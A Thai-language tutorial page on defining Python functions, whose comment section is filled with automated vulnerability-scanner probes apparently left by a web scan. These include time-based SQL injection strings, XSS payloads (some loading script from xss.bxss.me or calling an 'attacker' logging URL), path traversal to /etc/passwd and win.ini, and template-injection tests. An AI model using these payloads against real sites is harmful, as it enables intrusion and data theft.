CMSPY ทดสอบ Data Science Django Web Framework Python Discrete Mathematics Machine Learning
AnonymousUser | Login | Register
Access From: 18.191.62.68

Python

การกำหนดฟังก์ชั่น

By prayong | Oct. 10, 2019, 9:20 p.m. | comments 209

ฟังก์ชั่นในภาษาไพธอน เป็นกลุ่มของคำสั่งที่มีการทำงานเฉพาะ และ มีการทำงานตามกลุ่มของคำสั่งนั้นซ้ำกันหลายๆ ครั้ง ซึ่งหากต้องเขียนส่วนของคำสั่งเหล่านั้นซ้ำทุกครั้งที่มีการทำงาน ก็จะทำให้โปรแกรมมีขนาดใหญ่ขึ้น ดังนั้นจึงนำกลุ่มของคำสั่งมารวมกันในรูปของฟังก์ชั่น เพื่อให้สามารถเรียกใช้งานได้โดยไม่ต้องเขียนคำสั่งเหล่านั้นซ้ำ และสามารถส่งข้อมูล และ ค่าตัวแปร เข้าไปเพื่อใช้ในการทำงานภายในโปรแกรม รวมถึงสามารถรับข้อมูลหรือตัวแปรที่เกิดจากการทำงานของฟังก์ชั่นกลับมาเพื่อใช้ในการทำงานอื่นๆ ต่อไปได้ จึงทำให้โปรแกรมมีขนาดเล็กลง และลดความซับซ้อนของโปรแกรมลงได้เป็นอย่างมาก ในภาษาระดับสูงภาษาอื่นๆ ก็มีการใช้งานฟังก์ชั่นเช่นเดียวกัน แต่อาจเรียกชื่อแตกต่างกันออกไป เช่น รูทีน (Routine) โปรแกรมย่อย (Sub Program) เมดธอด (Method) โพซีเจอร์ (Procedure) หรือ รูทีนย่อย (Sub Routine) เป็นต้น การกำหนดฟังก์ชั่นในภาษาไพธอนมีโครงสร้างดังนี้

def function_name(parameter list)
    statements

การกำหนดฟังก์ชั่นจะใช้คำสั่ง def แล้วตามด้วยชื่อของฟังก์ชั่นที่กำหนด รวมถึงชื่อตัวแปร หรือข้อมูลที่ต้องการใช้ในการทำงานภายในฟังก์ชั่น และภายในฟังก์ชั่นจะเป็นกลุ่มของคำสั่งของฟังก์ชั่นนั้น โดยกลุ่มของคำสั่งภายในฟังก์ชั่นจะระบุโดยการย่อหน้าภายในฟังก์ชั่น

การยุติการทำงานของฟังก์ชั่นทำได้โดยการใช้คำสั่ง return ซึ่งผู้เขียนโปรแกรมสามารถจะยุติการทำงานของฟังก์ชั่นได้ทุกขั้นตอนของการทำงานตามคำสั่งในฟังก์ชั่น โดยการยุติการทำงานนี้ จะทำให้การทำงานของโปรแกรมกลับไปยังคำสั่งถัดไปจากคำสั่งที่เรียกใช้งานฟังก์ชั่นนั้น โดยการยุติการทำงาน จะมีการส่งข้อมูลที่ได้จากการทำงานของฟังก์ชั่นกลับไปยังคำสั่งที่เรียกใช้งานด้วย โดยการระบุข้อมูล หรือตัวแปรที่ต้องการส่งกลับ ในกรณีที่ไม่มีการระบุ ก็จะยุติการทำงาน แต่ไม่มีการส่งข้อมูลกลับ ตัวอย่างการกำหนดฟังก์ชั่น

def print_hello(): print('hello world, I Come in Peace.') print_hello()

จากตัวอย่างโปรแกรมข้างต้นเป็นการกำหนดฟังก์ชั่นชื่อ print_hello โดยไม่มีการระบุข้อมูลหรือตัวแปรที่ต้องการใช้ในฟังก์ชั่น นั่นคือ การเรียกใช้งานฟังก์ชั่นนี้ไม่ต้องมีการส่งข้อมูลเข้าในฟังก์ชั่น โดยคำสั่งภายในฟังก์ชั่นคือ print('hello world, I Come in Peace.') สำหรับการเรียกใช้งานฟังก์ชั่นสามารถทำได้โดยการเรียกชื่อฟังก์ชั่นนั้น ซึ่งในที่นี้คือ print_hello() เมื่อมีการเรียกใช้งานฟังก์ชั่น คำสั่งที่อยู่ภายในฟังก์ชั่นจะได้รับการดำเนินการ ซึ่งจะได้ผลลัพธ์เป็น

'hello world, I Come in Peace.

การกำหนดฟังก์ชั่นแบบมีการรับส่งข้อมูลหรือตัวแปร

def print_hello(name):
    print('hello ', name,',I Come in Peace.')
print_hello('jojo')

ผลลัพธ์จากการทำงาน

hello  jojo ,I Come in Peace.

จากตัวอย่างข้างต้น เป็นการเรียกใช้งานฟังก์ชั่น print_hello โดยมีการส่งข้อมูลที่เป็นสายอักขระ ‘jojo’ เข้าไปในฟังก์ชั่น โดยสายอักขระดังกล่าวจะถูกนำไปกำหนดค่าในชื่อ name ซึ่งเป็นชื่อที่จะใช้งานในฟังก์ชั่น ดังนั้นทุกครั้งที่มีการอ้างถึงชื่อ name ในฟังก์ชั่น จะหมายถึงสายอักขระ ‘jojo’ เสมอ แต่อย่างๆรก็ตามในฟังก์ชั่นนี้เป็นเพียงการรับข้อมูลเข้ามาเพื่อใช้ในการทำงาน แต่ยังไม่มีการส่งผลลัพธ์ที่เกิดจากการทำงานของฟังก์ชั่นกลับ หากต้องการส่งผลลัพธ์กลับสามารถทำได้ดังตัวอย่างต่อไปนี้

def add_two_number(x, y):
    z = x + y
    return z
result = add_two_number(3, 5)
print(result)

ตัวอย่างข้างต้นเป็นการกำหนดฟังก์ชั่นชื่อ

add_two_number

โดยกำหนดให้มีการระบุข้อมูล หรือตัวแปรที่ต้องการใช้งานในฟังก์ชั่นจำนวน 2 ตัว คือ x และ y (ดังนั้นในการเรียกใช้งานฟังก์ชั่น add_two_number จะต้องส่งข้อมูลจำนวน 2 ตัว ตามที่กำหนด โดยตัวแรกจะได้รับการกำหนดเป็น x และตัวที่สองจะได้รับการกำหนดเป็น y ตามลำดับ) โดยในฟังก์ชั่นมีคำสั่งในการทำงาน 2 คำสั่งคือ

z = x + y 

ซึ่งเป็นการนำข้อมูล x บวกกับ y โดยผลลัพธ์ที่ได้กำหนดให้เป็น z และคำสั่งที่สองคือ return z ซึ่งเป็นการสั่งให้ฟังก์ชั่นยุติการทำงานโดยส่งข้อมูลในตัวแปร z กลับไปด้วย

สำหรับการเรียกใช้งานฟังก์ชั่นตามตัวอย่างนี้คือ

result = add_two_number(3, 5) 

เป็นการเรียกใช้โดยส่งข้อมูลจำนวน 2 รายการ (ตามที่ฟังก์ชั่นกำหนด) คือ 3 และ 5 เพื่อให้ฟังก์ชั่นนำข้อมูลทั้ง 2 รายการไปใช้งาน ซึ่งในที่นี้ 3 จะถูกกำหนดให้กับ x และ 5 ถูกกำหนดให้กับ y ดังนั้นเมื่อมีการอ้างอิงถึง x และ y ในฟังก์ชั่น จะหมายถึง 3 กับ 5 ตามลำดับ ดังนั้นคำสั่งภายในฟังก์ชั่น

z = x + y 

ก็คือ z = 3 + 5 ซึ่งจะมีผลทำให้ z มีค่าเป็น 8 และเมื่อมีการยุติการทำงานโดยส่งค่า z กลับ ตามคำสั่ง return z นั่นคือการส่งค่า 8 กลับไปยังจุดที่เรียกใช้งาน ซึ่งจะทำให้ได้ผลลัพธ์เป็น result = 8 นั่นเอง

ภายในฟังก์ชั่นสามารถเขียนคำสั่งต่างๆ ตามความต้องการเพื่อการทำงานตามที่กำหนดได้เสมือนหนึ่งเป็นโปรแกรมทั่วไป โดยจะมีกลุ่มของคำสั่งยาวเพียงใดก็ได้ ซึ่งอาจมีการตรวจสอบเงื่อนไข การทำซ้ำ การกำหนดค่า คือคำสั่งอื่นๆ ที่อยู่ในของเขตการทำงานของฟังก์ชั่นนั้นๆ เช่น

def print_gen(age):
    if age > 60:
        return('older')
    elif age > 30:
        return('younger')
    else:
        return('teenage')
print(print_gen(50)) 

นอกจาการเรียกใช้งานฟังก์ชั่นโดยคำสั่งในโปรแกรมแล้ว เรายังสามารถเรียกใช้งานฟังก์ชั่น จากคำสั่งในอีกฟังก์ชั่นหนึ่งได้ เช่น

def half(a):
    return a/2
def half_two_number(x, y):
    z = half(x+y)
    return z
result = half_two_number(3, 5)
print(result)

จากตัวอย่างโปรแกรม เป็นการเรียกใช้งานฟังก์ชั่น half_two_number จากคำสั่งในโปรแกรม โดยมีการส่งค่า 3 กับ 5 เข้าไปใน half_two_number และ half_two_number เรียกใช้งานฟังก์ชั่น half โดยส่งค่า 3+5 ไป โดยผลลัพธ์ที่ได้จากการทำงานของการเรียกใช้งาน half(x+y) จะถูกนำมากำหนดให้กับ z เมื่อ half ได้รับข้อมูล 3+5 (ซึ่งก็คือ 8) จะยุติการทำงานโดยส่งค่าของ 8/2 กลับมายัง half_two_number และค่าที่ส่งคืนมานั้น (4.0) นำไปกำหนดให้กับ z และยุติการทำงานฟังก์ชั่น half_two_number โดยส่งค่า z ซึ่งในที่นี้คือ 4.0 กลับไปยังคำสั่งที่เรียกใช้งาน และถูกนำไปกำหนดให้กับ result ต่อไป

ตัวแปรที่มีการกำหนดและใช้งานในแต่ละฟังก์ชั่นจะมีขอบเขตและอายุการใช้งานภายในฟังก์ชั่นนั้นๆ เท่านั้น เช่น x y และ z จะสามารถอ้างถึงและใช้งานได้ภายใน half_two_number เท่านั้น ในขณะที่ a จะสามารถอ้างถึงและใช้งานได้ภายใน half เท่านั้น และเมื่อมีการยุติการทำงานของฟังก์ชั่นก็จะไม่สามารถใช้งานได้อีกถึงแม้ว่าจะอยู่ในฟังก์ชั่นนั้นก็ตาม

<-การทำซ้ำ คลาส และ การเขียนโปรแกรมเชิงวัตถุเบื้องต้น->


ถาม-ตอบ

aYlNlfdX Oct. 14, 2023, 2:04 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:04 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:04 a.m.

X0pRxXOU'

aYlNlfdX Oct. 14, 2023, 2:14 a.m.

1

aYlNlfdX Oct. 14, 2023, 2:14 a.m.

1

nZkkAbWB Jan. 22, 2024, 2:43 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:43 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:43 p.m.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nZkkAbWB Jan. 22, 2024, 2:46 p.m.

uUCf6HQ5' OR 858=(SELECT 858 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

o3ytrNYM') OR 993=(SELECT 993 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

JqGonzsh')) OR 720=(SELECT 720 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

)

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

Http://bxss.me/t/fit.txt

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

!(()&&!|*|*|

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

http://bxss.me/t/fit.txt%3F.jpg

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

^(#$!@#$)(()))******

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

/etc/shells

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

c:/windows/win.ini

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

bxss.me

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

1'"()&%<zzz><ScRiPt >NsxS(9113)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

'"()&%<zzz><ScRiPt >NsxS(9206)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

19158193

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

bfg3184%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl3184

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

../../../../../../../../../../../../../../etc/passwd

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

../../../../../../../../../../../../../../windows/win.ini

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

file:///etc/passwd

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

bfgx7291%C0%BEz1%C0%BCz2a%90bcxhjl7291

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

<%={{={@{#{${dfb}}%>

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

../1

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

<th:t="${dfb}#foreach

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

dfb{{98991*97996}}xca

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

dfb[[${98991*97996}]]xca

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

dfb__${98991*97996}__::.x

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

nZkkAbWB Jan. 22, 2024, 2:47 p.m.

1<ScRiPt >NsxS(9986)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1<WIPOBW>NS6AT[!+!]</WIPOBW>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1<script>NsxS(9251)</script>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4E%73%78%53%28%39%32%34%34%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1<ScRiPt >NsxS(9922)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9249></ScRiPt>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1<isindex type=image src=1 onerror=NsxS(9581)>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

-1 OR 2+473-473-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

-1 OR 2+664-664-1=0+0+0+1

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

-1' OR 2+610-610-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

-1' OR 2+488-488-1=0+0+0+1 or 'IQarhUms'='

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

-1" OR 2+974-974-1=0+0+0+1 --

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9337'>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1<body onload=NsxS(9357)>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1<img src=//xss.bxss.me/t/dot.gif onload=NsxS(9656)>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1<img src=xyz OnErRor=NsxS(9643)>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1<img/src=">" onerror=alert(9206)>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

%31%3C%53%63%52%69%50%74%20%3E%4E%73%78%53%289002%29%3C%2F%73%43%72%69%70%54%3E

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1\u003CScRiPt\NsxS(9270)\u003C/sCripT\u003E

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1&lt;ScRiPt&gt;NsxS(9931)&lt;/sCripT&gt;

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

if(now()=sysdate(),sleep(15),0)

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

�<img zzz onmouseover=NsxS(90351) //�>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1<input autofocus onfocus=NsxS(9468)>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

<a HrEF=http://xss.bxss.me></a>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

<a HrEF=jaVaScRiPT:>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1}body{zzz:Expre/**/SSion(NsxS(9595))}

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1iOZhM <ScRiPt >NsxS(9709)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1<WBI8GD>UOKW4[!+!]</WBI8GD>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

1<ifRAme sRc=9377.com></IfRamE>

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

-1)) OR 562=(SELECT 562 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

aGBf9JJl' OR 207=(SELECT 207 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:48 p.m.

xgEMvVdO') OR 806=(SELECT 806 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:49 p.m.

HzfY3IES')) OR 220=(SELECT 220 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

1

nZkkAbWB Jan. 22, 2024, 2:53 p.m.

1

nZkkAbWB Jan. 22, 2024, 3 p.m.

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

nZkkAbWB Jan. 22, 2024, 3 p.m.

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

nZkkAbWB Jan. 22, 2024, 3 p.m.

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

nZkkAbWB Jan. 22, 2024, 3 p.m.

Http://bxss.me/t/fit.txt

nZkkAbWB Jan. 22, 2024, 3 p.m.

http://bxss.me/t/fit.txt%3F.jpg

nZkkAbWB Jan. 22, 2024, 3 p.m.

/etc/shells

nZkkAbWB Jan. 22, 2024, 3 p.m.

c:/windows/win.ini

nZkkAbWB Jan. 22, 2024, 3 p.m.

bxss.me

nZkkAbWB Jan. 22, 2024, 3 p.m.

)

nZkkAbWB Jan. 22, 2024, 3 p.m.

!(()&&!|*|*|

nZkkAbWB Jan. 22, 2024, 3 p.m.

^(#$!@#$)(()))******

nZkkAbWB Jan. 22, 2024, 3 p.m.

1'"()&%<zzz><ScRiPt >DTz8(9442)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3 p.m.

../../../../../../../../../../../../../../etc/passwd

nZkkAbWB Jan. 22, 2024, 3 p.m.

../../../../../../../../../../../../../../windows/win.ini

nZkkAbWB Jan. 22, 2024, 3 p.m.

file:///etc/passwd

nZkkAbWB Jan. 22, 2024, 3 p.m.

1

nZkkAbWB Jan. 22, 2024, 3 p.m.

../1

nZkkAbWB Jan. 22, 2024, 3 p.m.

'"()&%<zzz><ScRiPt >DTz8(9687)</ScRiPt>

nZkkAbWB Jan. 22, 2024, 3 p.m.

19543135

nZkkAbWB Jan. 22, 2024, 3 p.m.

bfg8567%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8567

nZkkAbWB Jan. 22, 2024, 3 p.m.

bfgx7582%C0%BEz1%C0%BCz2a%90bcxhjl7582

nZkkAbWB Jan. 22, 2024, 3 p.m.

<%={{={@{#{${dfb}}%>

nZkkAbWB Jan. 22, 2024, 3 p.m.

1

nZkkAbWB Jan. 22, 2024, 3 p.m.

<th:t="${dfb}#foreach

nZkkAbWB Jan. 22, 2024, 3 p.m.

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

nZkkAbWB Jan. 22, 2024, 3 p.m.

dfb{{98991*97996}}xca

nZkkAbWB Jan. 22, 2024, 3 p.m.

dfb[[${98991*97996}]]xca

nZkkAbWB Jan. 22, 2024, 3 p.m.

-1; waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:01 p.m.

-1); waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:01 p.m.

1 waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:01 p.m.

Q5mF5R6p'; waitfor delay '0:0:15' --

nZkkAbWB Jan. 22, 2024, 3:01 p.m.

-5 OR 43=(SELECT 43 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:01 p.m.

-5) OR 838=(SELECT 838 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:01 p.m.

-1)) OR 61=(SELECT 61 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:01 p.m.

mWvpIzAC' OR 35=(SELECT 35 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

8jMxtjVF') OR 511=(SELECT 511 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

dXCDF2l8')) OR 543=(SELECT 543 FROM PG_SLEEP(15))--

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

1'"

nZkkAbWB Jan. 22, 2024, 3:02 p.m.

@@egniz

nEcdyGgx Nov. 3, 2024, 8:48 a.m.

1

nEcdyGgx Nov. 3, 2024, 8:48 a.m.

1

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

-1 OR 2+101-101-1=0+0+0+1 --

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

-1 OR 2+771-771-1=0+0+0+1

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

-1' OR 2+479-479-1=0+0+0+1 --

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

-1' OR 2+445-445-1=0+0+0+1 or 'DuG1q3TJ'='

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

-1" OR 2+45-45-1=0+0+0+1 --

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1*if(now()=sysdate(),sleep(15),0)

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1-1; waitfor delay '0:0:15' --

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1-1); waitfor delay '0:0:15' --

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1-1 waitfor delay '0:0:15' --

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1lZR5oH5v'; waitfor delay '0:0:15' --

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1-1 OR 89=(SELECT 89 FROM PG_SLEEP(15))--

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1-1) OR 660=(SELECT 660 FROM PG_SLEEP(15))--

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1-1)) OR 791=(SELECT 791 FROM PG_SLEEP(15))--

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1LUEYZuy4' OR 607=(SELECT 607 FROM PG_SLEEP(15))--

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1dZ5fRt4S') OR 924=(SELECT 924 FROM PG_SLEEP(15))--

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1zfAZ6na3')) OR 881=(SELECT 881 FROM PG_SLEEP(15))--

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1'"

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

1����%2527%2522\'\"

nEcdyGgx Nov. 3, 2024, 8:54 a.m.

@@n02Hm

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

d0qKtUDM

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

up5d2olP: gzmKZDPn

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

../../../../../../../../../../../../../../etc/passwd

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

../../../../../../../../../../../../../../windows/win.ini

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

file:///etc/passwd

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

../1

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1'"()&%<zzz><ScRiPt >t9Vv(9147)</ScRiPt>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

'"()&%<zzz><ScRiPt >t9Vv(9225)</ScRiPt>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

19607473

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

bfg6978%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl6978

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

bfgx1052%C0%BEz1%C0%BCz2a%90bcxhjl1052

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

<%={{={@{#{${dfb}}%>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

<th:t="${dfb}#foreach

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

dfb{{98991*97996}}xca

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

dfb[[${98991*97996}]]xca

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

dfb__${98991*97996}__::.x

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<ScRiPt >t9Vv(9437)</ScRiPt>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<WQ7PNV>TREXW[!+!]</WQ7PNV>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<script>t9Vv(9938)</script>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<script>t9Vv(9893)</script>9893

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%74%39%56%76%28%39%34%36%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<ScRiPt >t9Vv(9438)</ScRiPt>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9768></ScRiPt>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<isindex type=image src=1 onerror=t9Vv(9342)>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9384'>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<body onload=t9Vv(9257)>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<img src=//xss.bxss.me/t/dot.gif onload=t9Vv(9768)>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<img src=xyz OnErRor=t9Vv(9222)>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<img/src=">" onerror=alert(9926)>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

%31%3C%53%63%52%69%50%74%20%3E%74%39%56%76%289636%29%3C%2F%73%43%72%69%70%54%3E

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1\u003CScRiPt\t9Vv(9414)\u003C/sCripT\u003E

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1&lt;ScRiPt&gt;t9Vv(9451)&lt;/sCripT&gt;

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

�<img zzz onmouseover=t9Vv(96771) //�>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<input autofocus onfocus=t9Vv(9087)>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

<a HrEF=http://xss.bxss.me></a>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

<a HrEF=jaVaScRiPT:>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1}body{zzz:Expre/**/SSion(t9Vv(9561))}

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1zeXZ0 <ScRiPt >t9Vv(9136)</ScRiPt>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<W0H3BY>THZKR[!+!]</W0H3BY>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<ifRAme sRc=9550.com></IfRamE>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<acDyHnA x=9586>

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<img sRc='http://attacker-9308/log.php?

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

1<ao0iGwc<

nEcdyGgx Nov. 3, 2024, 8:55 a.m.

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

